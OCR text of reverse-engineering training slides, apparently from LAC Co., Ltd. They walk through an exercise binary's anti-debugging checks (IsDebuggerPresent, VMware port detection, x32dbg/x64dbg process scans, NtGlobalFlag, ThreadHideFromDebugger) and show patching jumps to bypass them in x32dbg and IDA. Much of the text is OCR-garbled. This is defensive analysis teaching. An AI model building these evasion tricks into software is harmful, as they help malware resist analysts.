e Wiem— 1 ol Local Types B Imports '= Exports

Possible Anti-Debug Technigue

VMware_magic_value 0x401041
VMware_[/O_port 0x40104b

Enumerate_Running Processes 0x40190c¢
Enumerate_Running Processes 0x40190c¢

NtGlobalFlag check 0x40198a

0x4019AE

NtSetInformationThread 0x4019cd
ThreadHideFromDebugger Ox11 0x4019cd

Environment_TimingCheck_CPUID 0x4023f8
Environment_TimingCheck_CPUID 0x402433

Environment_TimingCheck_CPUID 0x4024aa




Exercise 1 Answer For IDA

® The first is AntiDebug using IsDebuggerPresent.
® \What is the message displayed?

Text  UodUTBAE mov [ebprvar_Z29], ©
.text: 0684681385 mov [ebp+var 1C], 5CB853h

.text:004818BC mov [ebp+var 18], 588012h

text:08046818C3 mov [ebp+var_14], 1FBEBER

text :804818CA mov [ebp+var_ 18], 28616h

text: 804681801 mov [ebp+var C], 558648h

.text: 0684681308 mov [ebp+var 8], GEGEEEE1CH
Ltext:8848180F call ds:IsDebuggerPresent ; Debugger check
text:@84818E5 test eax, eax

text:@84818E7 jz short loc_4818F4

® &

Ltext: 004018F4

Ltext:804818F4 loc AB18F4:

Ltext:8084818F4 call sub_ 481888

Ltext:0e4818F9 test eax, eax

Ltext:@04818FB jz short loc_A4@1983
|1

[ & =5
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Exercise 1 Answer For IDA

What does a return value
B cru Lpy Ok ® JL-bfrvbk ® ygygozyd O J-)-28wH % SEH

00401892 C745 DO OEOOODOO |[mov dword ptr Of 1 mean?
00401899 C745 D4 12004000 mov dword ptr
004018A0 C745 D8 40005400 mov dword ptr
004018A7 C745 DC 09000700 |mov dword ptr ss:[ebp-24], 70009 —EBX——00371666—
004018AE C745 EO 08000000 |mov dword ptr ss:[ebp-20],8 ECX 00000022
004018B5 C745 E4 53005C00 |mov dword ptr ss:[ebp-1c],5C0053 [ebp-1c]:"\\ | EDX 00000000
004018BC C745 E8 12005800 |mov dword ptr ss:[ebp-18],580012 EBP  0019FF34
004018C3 C745 EC OBOOL1FO00 mov dword ptr ss:|[ebp-14],1F000B ESP  0019FA2C
004018CA C745 FO 16000200 mov dword ptr ss:[ebp-10],20016 ESI  0000000A
004018D1 C745 F4 40005500 mov dword ptr ss:|febp-Cj|, 550040 EDI 00000000
Crigo 0 LCUUUUET Mov—twWoTr o P WUUUUUJ.\.
FF15 20304000 ca11 dword ptr ds:[<&IsDebuggerPresent:>] EIP 004018E7

ot # PR # Trace )5 Strings

EAX 00000001

o0

- :\m .. 74 OB

]e custom ant1debugg 4018F4 EFLAGS 00000202

8D8D 34FDFFFF X, QWOT eDp-2¢Cl ZF O PF O AF O
004018EF {Eg 04010000 ]mp custom ant1debugg 4019F8 OF O SFO DF 0O
004018F4 E8 O7F7FFFF call custom_antidebugg.401000 CFO TFO IF 1

004018F9 85C0 test eax,eax
e 004018FB | ~ 74 OB je custom_antidebugg.401908

§ 004018FD 8D8D 14FFFFFF Tea ecx,dword ptr ss:|[[ebp-EC] t:zgg;ggﬂs ggggggg
——@00401903 | - E9 F0000000 jmp custom_antidebugg.4019F8

@ 00401908 6A 00 push 0 - AAAA . AAFA
0040190A 6A 02 push 2

0040190C FF15 00304000 call dword ptr ds:[<&CreateToolhelp32Snapshot>]
00401912 8BFO mov esi,eax

nANANTAO1 A o2rc ~mun Ae~=a CCCCCCCED
-
>

#be\(stdcall)
[esp+4] 0000000
[esp+8] 003F100
[esp+C] 005C049
[esp+10] 000000

Facm 1 AT AANNANAN

Jump 1is not taken

\eu-s-Eon—anti-debuggr004018F4

£
hn-lhwml—““"
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Exercise 1 Answer For IDA

® |f you proceed with F8 without applying any patches, it hits Call Sub_401170.
® First message is displayed.
@® Be cautious of conditional jumps like je.

% Custoem_AntiDebugg.exe - PID: 7012 - Module: custom_antidebugg.exe - Thread: Main Thread 2004 - x32dbg
J7TIAF) F|mlv) TH2H(D) Tracing F2H92(P) BRCADN FIazd0)  AJLTIH) Mar 4 2023 (TitanEngine )
D =0 e »§ Tt i2vfhse L B
@Bcoru Linpp O )-r ® JL-bfoh ™ ogg)yd O g-aSyh =seH labuds "k Qvu-a o 2D
004019EE 56 push esi
004019EF FF15 1C304000 call dword ptr ds:[<&FreeLibrary>]
004019F5 8D4D 8C Tea ecx,dword ptr ss:[ebp-74]
[EIP 2 004019F8 E8 73F7FFFF call custom_antidebugg.401170
004019FD 8B4D FC mov ecx,dword ptr ss:[ebp-4]
Q0401A00 R3C0 Xor eax,eax
| pop edi
pop es’
Debuqgger detected. Be cautious with ;g; :giﬁbp
condifional statements like je and work call custom_antidebugg.401A41
around them carefully. mov esp,ebp
pop ebp
UUSULAUT Tz IUUU ret 10
00401A12 55 push ebp

© 2025 LAC Co., Ltd. 41
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Pressing this will restart the debugging
process from the beginning.

(H) Mar 4 2023 (TitanEngine)

@ cpy lipy DD J-h ® SO ™ Ey-yd O O-)-2yb SseH L aoygh s

[EIP : 8B4C24 54 mov ecx,dword ptr ss:[esp+54]
/757796C6 33CC Xor ecx,esp
/57796C8 E8 38C00100 call kernelbase.75795705
757796CD 8BES mov esp,ebp
7L77QACF Ch pop ebp
75 [ Debugger detectec — O > et 10
;EDebugger detected. Be cautious with ;‘EE EEEE;E;;;?S%SE;%D] O
sconditional statements like je and work push F '
zgaround them carefully. pop eax
75 jmp kernelbase.757796A2
/3 int3
/3 int3
/57796E1 CC nt3
/57796E2 CC int3
FET77QLRER i 1int3
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Exercise 1 Answer For IDA

* To force the jump, change the ZF flag to 1.
* Double-click the area where ZF is set to 0.

Bopu  Lipy ok ® JLDRrvh ™ gEgged O - 2swh Ssed bl gk Eou © vz S ugplua P abek ® ok § Trace 5 Strings
004018D8 C745 F8 1COO000EO mov dword ptr ss:[[ebp-81,E000001C ~ Hide FPU
FF15 20304000 call dword ptr ds:[<&IsDebuggerPresent>]
85C0 test eax,eax EAX 00000001 3
EIP 004018E7 [ aNV:! je custom_antidebugg.4018F4 EBX 00257000 <PEB. Inherite
004018E9 8D8D 34FDFFFF lea ecx,dword ptr ss:|[febp-2cc] ECX 00000022
004018EF E9 04010000 jmp custom_antidebugg.4019F8 EDX 00000000
004018F4 E8 O07F7FFFF call custom_antidebugg.401000 EBP  O0019FF34
004018F9 85C0 test eax,eax ESP  0019FA2C
- 004018FB 74 OB je custom_antidebugg.401908 ESI  0000000A
§ 004018FD 8D8D 14FFFFFF lea ecx,dword ptr ss:|[ebp-EC] EDI 00000000
———=@&00401903 E9 FO000000 jmp custom_antidebugg.4019F8
i-----4 00401908 6A 00 push 0 EIP 004018E7 custom_antidel
0040190A 6A 02 push 2
0040190C FF15 00304000 call dword ptr ds:[<&CreateToolhelp32Snapshot>] 5 00000202
00401912 8BFO mov esi,eax ZF OI PEFO AF O
00401914 83FE FF cmp esi,FFFFFFFF ok SFO DF O
-------- 00401917 74 67 je custom_antidebugg.401980 CFO TFO IF 1
00401919 8D85 O8FBFFFF lea eax,dword ptr ss:|[[ebp-4F8]
ggigig%g ESBS OSFBFFFF Zcozogszhdgg;d ptr SS:[ebp-4F8],22C LaStEFFOF 00000000 (ERROR_SUCCE
0040192A c6 push esi LastStatus C0150008 (STATUS_SXS_|

1
I g

0040192B
00401931
00401933
00401935

NnNAN1O2p
£

FF15 10304000

85C0
74 44
883D F4304000

opi1m NAA2NANNN

call dword ptr ds:[<&Process32Firstiw:>]
test eax,eax

je custom_antidebugg.401979

mov edi,dword ptr ds:[<& _wcsicmp>]

mmir Al Aumed o mde A T c D PRmAl,Aa s~ =Aa LN ICRWE i MO |

s

e

L A

- —_—AArs

't - {stdcall)

Jump is not taken

custom_antidebugg.004018F4

© 2025 LAC Co., Ltd.

004030F4:"p\ |1: [esp+4] 0000000A 0000000A
- nco *nh;“ 2: [esp+8] 00257000 <PEB.Inherite
3: [esp+C] 00710490 00710490
4: [esp+10] 00000018 00000018
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Exercise 1 Answer For IDA

® |t changes to jump to 4018F4, allowing you to observe the subsequent behavior.

_____

________

004018D8
NAANTOCD

004018E7
004018E9
004018EF
004018F4
004018F9
004018FB
004018FD
00401903
00401908
0040190A
0040190cC
00401912
00401914
00401917
00401919
0040191F
00401929
00401924
00401928
00401931
00401933
00401935

NNRAMTO2D
<

C745 F8 1COOOOEO

FF15 20304000

&5C0

74 0B

8D8D 34FDFFFF
E9 04010000
E8 O7F7FFFF
85C0

74 0B

8D8D 14FFFFFF
E9 FO000000
6A 00

6A 02

FF15 00304000

8BFO

83FE FF

74 67

8D85 O8FBFFFF
C785 O8FBFFFF
50

56

FF15 10304000

85C0
74 44
883D F4304000

o1 AA2AANNAN

2C020

mov dword ptr ss:[ebp-8],E000001C

call dword ptr ds:[<&IsDebuggerPresent>]
test eax,eax

je custom_antidebugg.4018F4

Tea ecx,dword ptr ss:|[[ebp-2CC]

jmp custom_antidebugg.4019F8

call custom_antidebugg.401000

test eax,eax

je custom_antidebugg.401908

Tea ecx,dword ptr ss:|[[ebp-EC]

jmp custom_antidebugg.4019F8

push 0

push 2

call dword ptr ds:[<&CreateToolhelp32Snapshot>]
mov esi,eax

cmp esi,FFFFFFFF

je custom_antidebugg.401980

lTea eax,dword ptr ss:|[[ebp-4F8]

mov dword ptr ss:[[ebp-4F8]J,22C

push eax

push esi

call dword ptr ds:[<&Process32First>]
test eax,eax

je custom_antidebugg.401979

mov edi,dword ptr ds:[<& _wcsicmp>]

mmir mlns Aurmsmel it A s T oD RmAamA -~ =Ra T NIEEWE N Ny |

004030F4: "p\

Al s AED Twla~
>

EAX
EBX
ECX
EDX
EBP
ESP
ESI
EDI

EIP

ZF 1|

CF O

LastE
Lasts

Pl [a¥al

00000001
00257000
00000022
00000000
0019FF34
0019FA2C
0000000A
00000000

004018E7 |

S 00000240
PF O AF O
SF O DF O
TF 0 IF 1

rror 00000000
tatus C0150008

- - (oYl alie ]

Jump 1is taken

~uetnam antaidas

ugg.004018F4

© 2025 LAC Co., Ltd.
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: [esp+4] 0000000A
[esp+8] 00257000
[esp+C] 00710490
[esp+10] 00000018

Famm 1 A7 ANAAAAAN
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Exercise 1 Answer For IDA

® |s sub_401000 an anti-debugging function?

T T T OO T O T T

Ltext: 28481808 mov
Ltext:884818DF call
text:@84818E5 test
Ltext:8e4818EY jz

[ T = —=13J o T

[ebp+var 8], GEGBBE01CH
ds:IsDebuggerPresent ; Debugger check

eax, eax
short loc 4818F4

B

Ctext:804818F4

text:0P4018F4 call

\ EEHE'EE‘E; EECI e

ettt St B B

sub 481008

o n e

- text:004018FB jz

short loc_ 481988

|

T

® 3 =

Jtext : BB481988

© 2025 LAC Co., Ltd.
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Exercise 1 Answer For IDA

DA View-f B8 Pseudocode-4 B Detected Fumction List (£ ﬂ Anti Debug Detection Results [T

|Search...

Double—click on a function name starting with ‘s

N

sub_401000

(2detected)

~

_WinMain@16 It can be confirmed from the results of
IsDebuggerPresent AntiDebugSeeker that VM detection is being performed.

CreateToolhelp32Snapshot
Process32FirstW
Process3Z2NextW
Process3Z2NextW
CloseHandle

CloseHandle

(12detected)
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® Use F7 to step into sub_401000 and analyze it.

© 2025 LAC Co.,

71 ILF)
DE =i

& cpu Ly

Frlv) THL00D)
e 9§

=S

t«2 B
5 & & o

Tracing J2024P) HRICADN F3a(0)
o #fx# AR
il | PR i G AEU- T

B @
O g—-Jl- 2808

AVZIHY  war 4 2023 (TitanEngine)

S seH bl abugh W\ syl ©C u-a £ uyzrlua

W oalalt )

———4>/004018E7

i
[—

_____

004018D8

004018E5

C745 F8 1COOOQEO
FF15 20304000

85C0
74 OB
8D8D 34FDFFFF

mov dword ptr ss:|[ebp-8],E000001C

call dword ptr ds:[<&IsDebuggerPresent>]
test eax,eax

je custom_antidebugg.4018F4

E9 04010000
E8 07F7FFFF

lea ecx,dword ptr ss:[ebp-2CC]
Jmp custom_antidebugg. F
call custom_antidebugg.401000

---@004018FB
004018FD

0040190A
0040190C
00401912
00401914
00401917
00401919
0040191F
00401929
0040192A
0040192B
00401931
00401933
00401935

NNANTO2D
€

85¢€0

74 OB

8D8D 14FFFFFF
E9 FO000000
6A 00

6A 02

FF15 00304000

8BFO

83FE FF

74 67

8D85 O8FBFFFF
C785 O8FBFFFF
50

56

FF15 10304000

85¢0
74 44
8B3D F4304000

o1l NA2NANNMN

2C020

je custom_antidebugg.401908

Tea ecx,dword ptr ss:|[ebp-EC]

jmp custom_antidebugg.4019F8

push 0

push 2

call dword ptr ds:[<&CreateToolhelp32Snapshot>]
mov esi,eax

cmp esi,FFFFFFFF

je custom_antidebugg.401980

Tea eax,dword ptr ss:[ebp-4F8&8]

mov dword ptr ss:|[ebp-4F8],22C

push eax

push esi

call dword ptr ds:[<&Process32Firstw>]
test eax,eax

je custom_antidebugg.401979

mov edi,dword ptr ds:[<& wcsicmp>]

memir bl AwrmemdA mte A T PR AmA~ - =Re DN ERWE Zi Ny |

004030F4: "p\

Al s RED T b~
>

-~

b

1 YWY WY

Ltd.
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Exercise 1 Answer For IDA

The code checking whether it is a VM environment.

00401030 8965 ES
00401033 C745 E4 00000000

AL D nnnnnunn
AT B S B [ e

00401041 B8 68584D56 mov eax, 564D5868
00401046 B9 0A000000 mov ecx,A
0040104B 66:BA 5856 mov dx,EESE
0040104F ED B eax,dx
00401050 8945 F4 mov dword ptr ss/febp-1c],eax
00401053 C745 FC FEFFFFFF mov dword ptr ss:|[ebp-4J,FFFFFFFE
0040105A 8B4D E4 mov ecx,dword ptr ss:l[ebp-1C]
——>@0040105D | +~ EB 12 jmp custom_antidebugg.401071
0040105F B8 01000000 mov eax,l

00401064 C3 ret

00401065 8865 E8 mov esp,dword ptr ss:[ebp-18]
00401068 33C9 Xor ecx,ecx

-Drd ptr SS: [ebp 1C]
\Lebp-4],0
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® |f a VM is detected and you proceed with F8 without applying a
patch, a message will be displayed.
® Three more anti-debugging left

o
J7-(NAF)  F|alw) THED) Tracing J20-424P) HRECANDG) FFLaw(0) ~AJLZHHD Mar 4 2023 (TitanEngine)

OE 0 & 9§ ta M- #fx# L BE

& cpu W7 ARU-Tyd O a—easyh = sed o apudh E sumy ©
VMware detected. Three more push es1 .
_ - . 24000 call dword ptr ds:[<&FreeLibrary>]
anti-debugaging techniques left. T lea ecx,dword ptr ss:QBebp-748
Eigd— *FF call custom_antidebugg.401170

mov ecx,dword ptr ss:[ebp-4]
X0or eax,eax

pop edi
00401A03 5E pop esi
00401A04 33CD Xor ecx,ebp
00401A06 5B pop ebx
00401A07 E8 35000000 call custom_antidebugg.401A41
00401A0C 8BES mov esp,ebp
00401A0E 5D pop ebp
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Pressing this will restart the debugging

process from the beginning.

EIP oy

Tl THJD[ﬂ Tracing ij4Jiﬁ SR AN A 0] mEjUﬂ har 4 2023 (TitanEngine)

BE e detecte

00401A03
00401A04
00401A06
00401A07
00401A0C
00401A0E

S0l & ¢ Tl #H#

[ Ry

=l
O Q= 2800 =2 seH k) a8ydR o seggy, O

VMware de’rec’red. Three more
anfi—debugging techniques left.

)4000
*FF
SE
33CD
5B
E8 35000000
8BES
5D

push esi

call dword ptr ds:[<&FreeLibrary>]
Tea ecx,dword ptr ss:[ebp-74]
call custom_antidebugg.401170
mov ecx,dword ptr ss:[ebp-4]
Xor eax,eax

pop edi

pop esi

Xor ecx,ebp

pop ebx

call custom_antidebugg.401A41
mov esp,ebp

pop ebp

© 2025 LAC Co., Ltd.
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® Setting the ZF flag to 1 also works.

® As an alternative, use the space key to change je to jmp, forcing the jump.

004018ES
0O04018EF
004018F4
004018F9
ATaviNa =

004018FD
00401903
00401908
0040190A
0040190C

00401935

8D8D 34FDFFFF
- E9 04010000
ES8 O7F7FFFF
85C0
.74 0OR
8D8D 14FFFFFF
-| E9 FO000000
6A 00
6A 02
FF15 00304000
8BFO
83FE FF
- 74 67
8D85 O8FBFFFF
C785 O8FBFFFF
50
56

FF15 10304000

85C0
. 74 44
8B3D F4304000

<PEB. InheritedAddressSpace>

© 2025 LAC Co., Ltd.

Tea ecx,dword ptr ss:|[ebp-2CC]] A Hide FPU
jmp custom_antidebugg.4019F8
call custom_antidebugg.401000 EAX 00000001
test eax,eax EBX 00279000
je custom_antidebugg.401908 ECX  E117AOQFC
Tea ecx,dword ptr ss:|[lebp-EC] EDX 00005658
Saem it s Al ANTOCO ERP 0019FF34
LF ood018FB E7E TN X |9FA2C
0000A
|ie| 000401808 | 00000
O $ 2&#FT5(5) [ NOPTEHE(F) O XEDParse(X) @ asmiit(a) OK o), | |[O18FE custom_antidebugg.004018FB
A2 AN IDLa B3I -FeshadLE .. (00000202
e 0000000 _Bytes: 7408 0 AF O
pUST €ax OF 0 SFO DF O
push esi . CFO TF O IF1
call dwor : [<&Process32Firstw:>]
L7 ooq0ere 27 TN Y 00000000 (ERROR_SUCCESS)

|immpl 0x00401 808

s C0150008 (STATUS_SXS_KEY_NOT_FOUND)

L YdwiRraas) O NoPTEHE(F) O XEDParseix) ® asmijtla) Ok,
AARIRLIEIO-FENELE

a7 Iy

o s B B i3

ﬂ@yms:EEDB
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® It has been forcibly changed to jmp to 401908.

Bcru oy HU-r o JL-bfyh ™ ggged O g-peaswh Ssed kbl apudh ®oouky, Q@ u-a 2 ygsbya R oaLer &
004018E9 8D8D 34FDFFFF Tea ecx,dword ptr ss:|[[ebp-2CC]
— @ 004018EF E9 04010000 jmp custom_antidebugg.4019F8
004018F4 E8 O7F7FFFF call custom_antidebugg.401000
004018F9 85CO0 test eax,eax
[EIP, 004018FB EE OB jmp custom_antidebugg.401908
004018FD 8D8D 14FFFFFF Tea ecx,dword ptr ss:[ebp-EC]
00401903 E9 FO000000 jmp custom_antidebugg.4019F8
—@00401908 6A 00 push 0O
0040190A 6A 02 push 2
0040190C FF15 00304000 call dword ptr ds:[<&CreateToolhelp32Snapshot:>]
00401912 8BFO mov esi,eax
00401914 83FE FF cmp esi,FFFFFFFF
———————— 00401917 74 67 je custom_antidebugg.401980
00401919 8D85 O8FBFFFF Tea eax,dword ptr ss:[ebp-4Fg&]

© 2025 LAC Co., Ltd.
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Check the comments to determine what
it is attempting to detect.

CY7Y
Ltextea481983
Jtext 100401908 loc_401995: 3 th32ProcessID
Ltext 884081988 push 8
Jtext 128481984 push 2 3 dwFlags
Ltext:ee4e196C call ds:CreateToolhelp32Snapshot ; Process Check | Enumerate Running Processes - The CreateToolhelp32Snapshot function to enumerate running processes.
text 8481980 ; It might be detecting a specific debugger and using functions like ReadProcessMemory to inspect the contents of memory to determine if debugging is occurring. | §
text :ee4E1 980 3 It might be detecting a specific debugger and using functiens like ReadProcessMemory to inspect the contents of memory to determine if debugging is occcurring.
Ltext 88481912 mov esl, eax
Ltext 88481914 cmp esi, BFFFFFFFFh
text 898481917 jz short loc_ 481988
1
¥
@ o [
Jtext: 08481919 lea eax, [ebptpe]
Ltext :@840191F mov [ebpt+pe.dwsize], 22Ch
Jtext 28481929 push eax 3 lppe
Jtext: 88481928 push esi 3 hsnapshot
Ltext: 88481928 call ds:Process32FirstW ; Process Check
LTdext: 88481931 test edx, eax
LJtext:@8481933 §z short loc 481979
¥
B3 =
Ltext:@8481935 mov edi, ds: wcsicmp
Ltext:@8181938 mov ebx, ds:Process3ZNextil ; Process Check

vy
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® It is checking for the x32dbg and x64dbg processes.

push esi

call dword ptr ds:[<&Process32Firstw:>]
test eax,eax

je custom_antidebugg.401979

mov edi,dword ptr ds:[<& wcsicmp>] 004030F4: "p\n8t"
mov ebx,dword ptr ds:[<&Process32Nextw>]
Tea eax,dword ptr ss:[ebp-4D4]

push custom_antidebugg.40315C 40315C:L"x32dbg.exe"”
push eax

call edi

add esp,8

test eax,eax

je custom_antidebugg.4019AD
Tea eax,dword ptr ss:[ebp-4D4]
push custom_antidebugg.403174 403174:L"x64dbg.exe”
push eax

call edi

add esp,8

test eax,eax

]E custnm _antidebugg.4019AD

...... | P . - o S le e A = 5

© 2025 LAC Co., Ltd. 54



L el 110

68 5C314000
50

FFD7

83C4 08

85C0

74 57

8D85 2CFBFFFF
68 74314000
50

FFD7

83C4 08

85C0

74 42

8D85 O8FBFFFF
50

56

FFD3

85C0

75 C8
LA
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Exercise 1 Answer For IDA

® It is checking for the x32dbg and x64dbg processes.

I d e b oy W WV Rl 'JI_I wlwd m L'l_-lul".ll TWTH

push custom_antidebugg.40315C
push eax

call edsi

add esp,8

test eax,eax

je custom_antidebugg.4019AD
Tea eax,dword ptr ss:[ebp-4D4]
push custom_antidebugg.403174
push eax

call edi

add esp,8

test eax,eax

je custom_antidebugg.4019AD
Tea eax,dword ptr ss:[ebp-4F8]
push eax

push esi

call ebx

test eax,eax

jne custom_antidebugg.401941

hiteh a1

40315C:L"x32dbg.exe”
eax:L"vmtoolsd.exe"

eax:L"vmtoolsd.exe"

403174:L"x64dbg.exe™
eax:L"vmtoolsd.exe"

eax:L"vmtoolsd.exe"

eax:L"vmtoolsd.exe"

eax:L"vmtoolsd.exe"
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® |t was a program that detects x32dbg and x64dbg, but are there any other
tools that might also be targeted for detection?

™

i H

j?,rJl.fE\ b St A T LN o ' T oV PO

__________

of processes are likely to be targeted?

ooy
74 57

8D85 2CFBFFFF
68 74314000
50

FFD7

83C4 08

85C0

74 42

8D85 OBFBFFFF
50

56

FFD3

85C0

75 C8

SSHeu e RF L AN T (0] AJLTIH)

Mar 4 2023 (TitanEngine)

Pfx# a2l B O

B «32dbg or x44dbg detected. What types | =™ yzy.3y

(I e o 110 = 0 B =) = R e 1 |

& ki

©y-3

= UIRLLA

o P

Ly

lea eax,dword ptr ss:[ebp-4D4]
push custom_antidebugg.40315C
push eax

call edi

add esp,8

test eax,eax

je custom_antidebugg.4019AD
Tea eax,dword ptr ss:[ebp-4D4]
push custom_antidebugg.403174
push eax

call edi

add esp,8

test eax,eax

je custom_antidebugg.4019AD
Tea eax,dword ptr ss:[ebp-4F8]
push eax

push esi

call ebx

test eax,eax

jne custom_antidebugg.401941

[ebp-4D4]:".=T"
40315C:L"x32dbg.exe"

[ebp-4D4]:"&ET"
403174:L"x64dbg.exe"

~

© 2025 LAC Co., Ltd.

56



Exercise 1 Answer For IDA

UUJU1LI5 2 S5CU TESL E4dX,EdX

WOENELYN 74 57 je custom_antidebugg.4019AD

00401956 8D85 2CFBFFFF Tea eax glword ptr ss:[ebp-4D4]

0040195C 68 74314000 push _antidebugg.403174

00401961 50

00401962 FFD7

00401964 83C4 08

00401967 85C0

00401969 | |74 4

00401968 8D85 ..

00401971 | |50 After detection in x32dbg, the program attempts to
OoaoTars | |2ons terminate the process and jump to a function that
00401975 85C0 § -
rorerscllbeasd OUtputs a message. To bypass this, modify the ZF flag or
00401979 56 mi iti i

Q0a01979 1 128 . similar conditions to prevent the jump.
00401980 C785

0040198A 64:Al , P .

00401990 8B40 68 mov eax,dword ptr ds:[eax+68]

00401993 83E0 70 and eax,70

00401996 8985 04FBFFFF mov dword ptr ss:[ebp-4FC],eax

0040199C 83BD 04FBFFFF 00 cmp dword ptr ss:[ebp-4FC],0

004019A3 | |74 17 je custom_antidebugg.4019BC

004019A5 8D8D 98FEFFFF Tea ecx,dword ptr ss:[ebp-168]

004019AB | +|EB 4B jmp custom_antidebugg.4019F8

004019AD -56 push esi

004019AE FF15 14304000 call dword ptr ds:[<&CloseHandle>]

004019B4 8D8D FCFDFFFF lea ecx,dword ptr ss:[ebp-204]

© 2025 LAC Co., Ltd.
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L i

@ w5 =

.text: 88481968 lea eax, [ebp+pe]

Ltext: 88481971 push eax 3 lppe

Ltext: 28481972 push esi 3 hSnapshot
Ltext:ee1pl973 call ebx ; Process32NexthW ; Process Check

L PR Nt Wa s L

Lexteedelavy

B b =
text:@E4@1979

Ltewt:@e401979 loc_481973: 3 hobject
Ltext 88481979 push esi
Ltext:@848197A call ds:CloseHandle ; Check Invalid Close-»Exception

Check all processes and either terminate the loop or modify the conditional
branch at 401977 to bypass it. Both approaches work.

| = ™ =

t| AL?_S Cc8 jne _custom_antidebugg.401941

00401979 56 push esi
0040197A FF15 14304000 call dword ptr ds:[<&CloseHandlex>]
00401980 C785 O04FBFFFF 00000mov dword ptr ss:[ebp-4FC],0
0040198A 64:A1 30000000 mov eax,dword ptr [§:[30] [
00401990 8B40 68 mov eax,dword ptr ds:[eax+68]
00401993 83E0 70 and eax,70
00401996 8985 04FBFFFF mov dword ptr ss:[ebp-4FC],eax
0040199C 83BD 04FBFFFF 00 cmp dword ptr ss:[ebp-4FC],0

————— 004019A3 | ~ 74 17 je custom_antidebugg.4019BC
004019A5 8D8D 98FEFFFF Tea ecx,dword ptr ss:[ebp-168]

—@004019AB | - EB 4B jmp custom_antidebugg.4019F8
NOANTGAD CA nhiich o<1
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L |
@ =
Ltext:808408196E lea eax, [ebptpe]
Ltext: 88481971 push eax 3 lppe
.text:88481972 push esi ; hsnapshot

Ltext:084081973 call ebx ; Process32NextW ; Process Check|
LText: 88481975 test eax, eax
Ltext:eadala??

® i =

Ltexteeda1979

Ltext: 88481979 loc_481979: 3 hObject

text:88481979 push esi

Ltext 08401974 call ds:CloseHandle ; Check Invalid Close->Exception

vi

® s =

Jdext:aa481938

Jdext: 28401988 loc_4@1938:

Jgext: 08481988 mov [ebptvar 4FC], @

Jtext: 88481984 mov eax, large fs:38h ; NtGlobalFlag_check - The code is checking the NtGlobalFlag value at offset @x68 from the Process Environment Block.
text:B840198A ; The value 7@ is the sum of FLG _HEAP ENABLE TAIL CHECK (Bx1@), FLG_HEAP ENABLE FREE CHECK (8x28), and FLG HEAP VALIDATE PARAMETERS (Bx40).
Jtext: 88481998 mov eax, [eax+68h]

Jtext:ee4p1993 and eax, 78h

Jtext: 88481996 mov [ebpt+var_4FC],

gext: 88481990 cmp [ebptvar_4F

Jdext: 88481943 jz short 1g

Check the comments to determine what it is
attempting to detect.
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& cru oy -k * JL-bituh ™ gFyegyd O g-gea8vh S osen k)l apuge "o, QO u-z F yapLua
00401971 50 push eax
00401972 56 push esi
00401973 FFD3 call ebx
00401975 85C0 test eax,eax
~ 75 C8 jne custom_antidebugg.401941
00401979 56 push esi
0040197A FF15 14304000 call dword ptr ds:[<&CloseHandle>]
00401980 C785 04FBFFFF 0000Qmov dword ptr ss:[ebp-4FC],0
0040198A 64:A1 30000000 mov eax,dword ptr [§:[30]
00401990 8B40 68 mov eax,dword ptr ds:[eax+68]
EIP, > @[RERFEEE 83E0 70 and eax,70
00401996 8985 O04FBFFFF mov dword ptr ss:[ebp-4FC],eax
0040199C 83BD 04FBFFFF 00 cmp dword ptr ss:[ebp-4FC],0
mmne o 004019A3 | ~ 74 17 je custom_antidebugg.4019BC
§ 004019A5 8D8D 98FEFFFF Tea ecx,dword ptr ss:[ebp-168]
———>@&004019AB | - EB 4B jmp custom_antidebugg.4019F8
= 004019AD 56 push esi
004019AE FF15 14304000 call dword ptr ds:[<&CloseHandle>]
; 00401984 8D8D FCFDFFFF Tea ecx,dword ptr ss:[ebp-204]
——@®004019BA | - EB 3C jmp custom_antidebugg.4019F8
---->@004019BC 68 38314000 push custom_antidebugg.403138
004019C1 FF15 0C304000 call dword ptr ds:[<&LoadLibraryA>]
004019C7 8BFO mov esi,eax
004019C9 85F6 test esi,esi
mmne o 004019CB | - 74 28 je custom_antidebugg.4019F5
§ 004019CD 68 44314000 push custom_antidebugg.403144
| 004019D2 56 push esi
! 004019D3 FF15 18304000 call dword ptr ds:[<&GetProcAddress>]
N\ <
eax=70 'p’
70 'p’
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W
DA et FE=0a Sl FERA Temnte - SASHLOWRL R EADN) FT2a0(0) AJVTHHD Mar 4 2023 (TianEngine)
g W) Pre# af H®
B (Debug detected. Please explain this iy d O O-je2heh = seH kel ahydh "), O uag
[z anti-debugging technique. 7FFFF call custom_antidebugg.401170
IC mov ecx,dword ptr ss:[ebp-4]
Xor eax,eax
pop edi
pop esi
UUHULAUS JoLU Xor ecx,ebp
00401A06 5B pop ebx
00401A07 E8 35000000 call custom_antidebugg.401A41
00401A0C 8BES mov esp,ebp
00401A0E 5D pop ebp
00401A0F C2 1000 ret 10
00401A12 55 push ebp
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® 0040198A mov eax,dword ptr fs:[30] //PEB Access
® 00401990 mov eax,dword ptr ds:[eax+68] //NtGlobal Flag
® 0401993 and eax,70 //Compare NtGlobal Flag 70 or not

® |f the value of NtGlobalFlag is 70, it is considered as a sign of debugging.

00401980 C785 O4FBFFFF _00000mov_dword ptr ss:[ebp-4FC],0
0040198A 64:A1 30000000 mov eax,dword ptr [§:[30]
00401990 8B40 68 mov eax,dword ptr ds:[eax+68]
00401993 83E0 70 and eax,70

00301996 8985 U4FBFFFF mov PLr SS. LEDp- eax
0040199C 83BD 04FBFFFF 00 cmp dword ptr ss:l[ebp-4FC],0
004019A3 | - 74 17 je custom_antidebugg.4019BC
004019A5 8D8D 98FEFFFF lea ecx.dword ptr ss:lebp-168]
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® This is the final anti-debugging mechanism.
® What does the comment say?

TTEXTTEERg LTI Ty [EOFVar &FC], ©
text: 8401943 jz short loc_48198C
. L
B
Ctext:ea4al9B8C
ctext:0@48198C loc_4@19BC:
ctext:884819BC push offset LibFileName ; "ntdll.d11"
ctext:8840819C1 call ds:LoadLibrarys
.text:8e4819C7 mov esi, eax
Ltext:8e4819C9 test esi, esi
ctext:8840819C8 jz short loc 4B819F5
[l
¥
@
Ltext:8840819CD push offset ProcName ; NtSetInformationThread - They may be attempting to hide the debug thread using NtSetInformationThread. | ThreadHideFromDebugger @8x11 - The function NtSetInformationThread is invoked to hide the current thread from the
Jhext:ee4e19CD ; At this time, ThreadHideFromDebugger (@x11) is specified. This technique makes it more difficult for the program to be analyzed by a debugger.
Jtext 88401902 push esi ; hModule
Eext:ee401903 call ds:GetProcAddress
Jtext:ee481909 mov edi, eax
.text:@84819DB test edi, edi
Ltext:2848190D0 jz short loc 4@19EE
L |
18248190F push @
1@884819E1 push a
1884819E3 push 11h
1@B4819E5 call ds:GetCurrentThread
1@84819EE push eax
1@B4819EC call edi
